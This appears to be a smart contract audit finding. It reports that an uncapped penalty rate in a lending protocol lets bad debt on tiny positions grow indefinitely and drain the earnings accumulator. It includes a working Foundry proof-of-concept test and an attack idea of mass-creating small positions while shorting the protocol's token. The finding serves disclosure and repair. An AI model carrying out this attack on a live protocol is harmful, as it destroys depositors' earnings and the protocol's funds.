Decent Lilac Ant

medium

# Possible to create substantial bad debt at a low cost

## Summary
- The debt of a not liquidated position can grow indefinitely, potentially leading to enormous debts without sufficient collateral.
- Bad debts (positions without collateral) also grow indefinitely.
- There is no incentive to liquidate low-value positions, such as those worth $1 USD, due to gas costs.
- The protocol's bot may attempt to liquidate them, but each liquidation will result in losses for the bot, implying losses for whoever pays for the bot's gas (likely the protocol's team from the protocol's profits).
- This vulnerability could be exploited to clear all rewards from the earningsAccumulator.

## Vulnerability Detail
1. `penaltyRate` lacks a time limit.
2. Accumulated badDebt can be subtracted from the earningsAccumulator.
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L652-L655
```solidity
    if (totalBadDebt != 0) {
      earningsAccumulator -= totalBadDebt;
      emit SpreadBadDebt(borrower, totalBadDebt);
    }
```
3. Liquidators liquidate users for potential profits. If there is no profit to be made, then no one will invoke the liquidate function.
4. The protocol's bot may call liquidate, but it will result in losses due to gas costs.

An attacker may not seek profit from the attack itself but may aim to disrupt the protocol, possibly profiting by shorting the protocol's shares (e.g., on platforms like Pendle) or EXA tokens.

The conversion of 1 unit borrowed is to approximately 7x badDebt in 1 year and 20-25x in 3 years, see PoC.

The attacker can create thousands of positions, or this may occur naturally when small positions are left untouched. Then, whoever wants to reduce profits for the protocol's users can call handleBadDebt for positions with high bad debt, which will reduce the earningsAccumulator and profits.

## Impact
This could cause the protocol's bot to constantly incur losses because it spends more on gas than it receives as a liquidator's incentive.

The protocol could accumulate a significant amount of bad debt that will grow over time, due to `penaltyRate`.

Low profit for users because badDebt is removed from the earningsAccumulator.

### Similar issues
https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/issues/1096
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/234
https://github.com/sherlock-audit/2023-10-aloe-judging/issues/43
https://github.com/sherlock-audit/2023-10-aloe-judging/issues/145

## Code Snippet
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L652-L655
```solidity
    if (totalBadDebt != 0) {
      earningsAccumulator -= totalBadDebt;
      emit SpreadBadDebt(borrower, totalBadDebt);
    }
```

### Proof of Concept
`forge test -vvv --match-path test/AAM2.t.sol --match-test test4`

```solidity
// SPDX-License-Identifier: None
pragma solidity ^0.8.17; // solhint-disable-line one-contract-per-file

import "./Market.t.sol";
import {console} from "forge-std/console.sol";
import {stdStorage, StdStorage} from "forge-std/Test.sol";    

contract AAM2 is MarketTest {
    using stdStorage for StdStorage;

    // Demonstrates how borrowing 1 DAI and liquidating it after 1 year creates ~7 DAI of bad debt,
    // and ~20 DAI of bad debt after 3 years.
    function test4() external {
        address CHARLIE = _prepareCharlie();
        uint8 MAX_FUTURE_POOLS = 12;
        int DAI_PRICE = 0.002e18;

        irm.setRate(1e18);
        market.setMaxFuturePools(MAX_FUTURE_POOLS);
        market.setPenaltyRate(2e11);
        daiPriceFeed.setPrice(DAI_PRICE);    
        market.deposit(1 ether, ALICE);

        vm.startPrank(CHARLIE);
        marketWETH.deposit(0.004 ether, CHARLIE);
        uint MARKET_MATURITY = FixedLib.INTERVAL * 2;
        market.borrowAtMaturity(
            MARKET_MATURITY, 
            1 ether, 1 ether * 2, 
            CHARLIE, CHARLIE
        );
        vm.stopPrank();
        console.log("Just after borrowing");
        _logAccountLiquidity(CHARLIE);

        // Far into the future
        vm.warp(365 days);
        console.log("After 1 year");
        _logAccountLiquidity(CHARLIE);

        vm.prank(BOB);
        uint repaid = market.liquidate(CHARLIE, type(uint).max, marketWETH);
        console.log("Repaid: %e", repaid);
        _logAccountLiquidity(CHARLIE);
        (, uint256 debt) = auditor.accountLiquidity(CHARLIE, Market(address(0)), 0);
        console.log("Bad debt in DAI after 1 year: %e\n", debt * 1e18 / uint(DAI_PRICE));

        vm.warp(3 * 365 days);
        console.log("After 3 years");
        _logAccountLiquidity(CHARLIE);
        (, debt) = auditor.accountLiquidity(CHARLIE, Market(address(0)), 0);
        console.log("Bad debt in DAI after 3 years: %e\n", debt * 1e18 / uint(DAI_PRICE));

        /* Demonstrates how bad debt can be used to reduce the earningsAccumulator */
        // Update the lastAccumulatorAccrual
        market.setEarningsAccumulatorSmoothFactor(market.earningsAccumulatorSmoothFactor());
        // Set a new earningsAccumulator, ensuring it is greater than the bad debt
        stdstore
            .target(address(market))
            .sig("earningsAccumulator()")
            .checked_write(10e18);
        console.log("EarningsAccumulator before handling bad debt: %e", market.earningsAccumulator());

        auditor.handleBadDebt(CHARLIE);
        console.log("EarningsAccumulator after handling bad debt:%e", market.earningsAccumulator());
        _logAccountLiquidity(CHARLIE);
  }

    // Shows how a 1 DAI borrow liquidated after 3 years creates ~25 DAI of bad debt.
    function test4_2() external {
        address CHARLIE = _prepareCharlie();
        uint8 MAX_FUTURE_POOLS = 12;
        int DAI_PRICE = 0.002e18;

        irm.setRate(1e18);
        market.setMaxFuturePools(MAX_FUTURE_POOLS);
        market.setPenaltyRate(2e11);
        daiPriceFeed.setPrice(DAI_PRICE);    
        market.deposit(1 ether, ALICE);

        vm.startPrank(CHARLIE);
        marketWETH.deposit(0.004 ether, CHARLIE);
        uint MARKET_MATURITY = FixedLib.INTERVAL * 2;
        market.borrowAtMaturity(
                MARKET_MATURITY, 
                1 ether, 1 ether *2, 
                CHARLIE, CHARLIE
        );
        vm.stopPrank();
        console.log("Just after borrowing");
        _logAccountLiquidity(CHARLIE);

        // Far into the future
        vm.warp(3 * 365 days);
        console.log("After 3 years");
        _logAccountLiquidity(CHARLIE);
        

        vm.prank(BOB);
        uint repaid = market.liquidate(CHARLIE, type(uint).max, marketWETH);
        console.log("Repaid: %e", repaid);
        _logAccountLiquidity(CHARLIE);

        (, uint256 debt) = auditor.accountLiquidity(CHARLIE, Market(address(0)), 0);
        console.log("Bad debt in DAI after 3 years: %e", debt * 1e18 / uint(DAI_PRICE));
  }



    function _prepareCharlie() internal returns (address CHARLIE)  {
        CHARLIE = address(0x45723895749abc);
        vm.label(CHARLIE, "CHARLIE");
        MockERC20(address(market.asset())).mint(CHARLIE, 5_000_000 ether);
        MockERC20(address(marketWETH.asset())).mint(CHARLIE, 50_000 ether);
        vm.startPrank(CHARLIE);
        market.asset().approve(address(market), type(uint).max);
        marketWETH.asset().approve(address(marketWETH), type(uint).max);
        auditor.enterMarket(marketWETH);
        auditor.enterMarket(market);
        vm.stopPrank();
    }

    function _logThisAccountSnapshot(string memory text) internal view {
        console.log(text);
        (uint256 collateral, uint256 debt) = market.accountSnapshot(address(this));
        console.log("collateral: %e", collateral);
        console.log("debt: %e", debt);
        console.log("\n");
    }

    function _logThisAccountLiquidity(string memory text) internal view {
        console.log(text);
        _logAccountLiquidity(address(this));
    }

    // Note: in ETH
    function _logAccountLiquidity(address acc) internal view {
        (uint256 collateral, uint256 debt) = auditor.accountLiquidity(acc, Market(address(0)), 0);
        console.log("collateral(weth): %e", collateral);
        console.log("debt(weth): %e", debt);
        console.log("\n");
    }

    function _logPoolAtMaturity(uint maturity) internal view {
        FixedLib.Pool memory pool;
        (pool.borrowed, pool.supplied, pool.unassignedEarnings, pool.lastAccrual) = market.fixedPools(maturity);
        _logPool(pool);

    }

    function _logPool(FixedLib.Pool memory pool) internal view {
        console.log("borrowed: %e", pool.borrowed);
        console.log("supplied: %e", pool.supplied);
        console.log("unassignedEarnings: %e", pool.unassignedEarnings);
        console.log("lastAccrual: ", pool.lastAccrual);
        console.log("\n");
    }
}
```
## Tool used

Manual Review

## Recommendation
A potential fix could involve allowing users to borrow only if their collateral value exceeds a certain threshold, such as $1,000.